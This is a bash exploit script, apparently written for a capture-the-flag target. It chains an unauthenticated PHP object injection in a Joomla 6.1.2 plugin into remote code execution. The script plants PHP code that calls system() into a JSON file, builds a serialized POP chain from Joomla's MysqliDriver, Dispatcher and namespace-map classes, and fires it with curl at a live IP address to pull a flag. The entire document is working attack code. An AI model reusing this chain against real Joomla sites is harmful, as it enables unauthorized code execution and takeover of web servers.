#!/bin/bash
# Provisioneds — unauth PHP Object Injection -> POP chain -> RCE (Joomla 6.1.2)
# Usage: ./exploit.sh http://154.57.164.82:31075   [/path/to/joomla6.1.2/source]
set -e
TARGET="${1:?usage: ./exploit.sh <base_url> [joomla_src_dir]}"
SRC="${2:-./joomla612}"     # dir containing libraries/ from Joomla 6.1.2
EP="$TARGET/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import"

# --- Step 1: plant PHP into the plugin's fixed JSON path ---
php -r 'echo serialize([["month"=>"<?php system(\047/readflag\047);die;?>","packages"=>1]]);' > step1.bin
curl -s -o /dev/null -w "[step1] HTTP %{http_code}\n" "$EP" --data-urlencode "ledger@step1.bin"

# --- Step 2: build POP payload (needs Joomla source for class defs) ---
cat > /tmp/_build.php <<PHP
<?php
error_reporting(0);
define('_JEXEC',1);
define('JPATH_CACHE','$SRC/cache'); define('JPATH_LIBRARIES','$SRC/libraries');
require '$SRC/libraries/vendor/autoload.php';
require_once '$SRC/libraries/namespacemap.php';
use Joomla\Database\Mysqli\MysqliDriver; use Joomla\Event\Dispatcher;
function setp(\$o,\$n,\$v){ \$r=new ReflectionClass(\$o); while(\$r && !\$r->hasProperty(\$n)) \$r=\$r->getParentClass(); \$p=\$r->getProperty(\$n); \$p->setAccessible(true); \$p->setValue(\$o,\$v);}
\$m=new JNamespacePsr4Map(); setp(\$m,'file','/var/www/html/tmp/provision-monthly-goods.json'); setp(\$m,'cachedMap',null);
\$d=(new ReflectionClass(Dispatcher::class))->newInstanceWithoutConstructor(); setp(\$d,'listeners',['onAfterDisconnect'=>[[\$m,'load']]]);
\$x=(new ReflectionClass(MysqliDriver::class))->newInstanceWithoutConstructor();
setp(\$x,'connection',null); setp(\$x,'statement',null); setp(\$x,'dispatcher',\$d);
file_put_contents('payload.bin', serialize(\$x));
PHP
php /tmp/_build.php

# --- Step 3: fire ---
echo "[step3] triggering RCE:"
curl -s "$EP" --data-urlencode "ledger@payload.bin" | grep -oE 'HTB\{[^}]*\}' || \
  curl -s "$EP" --data-urlencode "ledger@payload.bin" | head -c 400
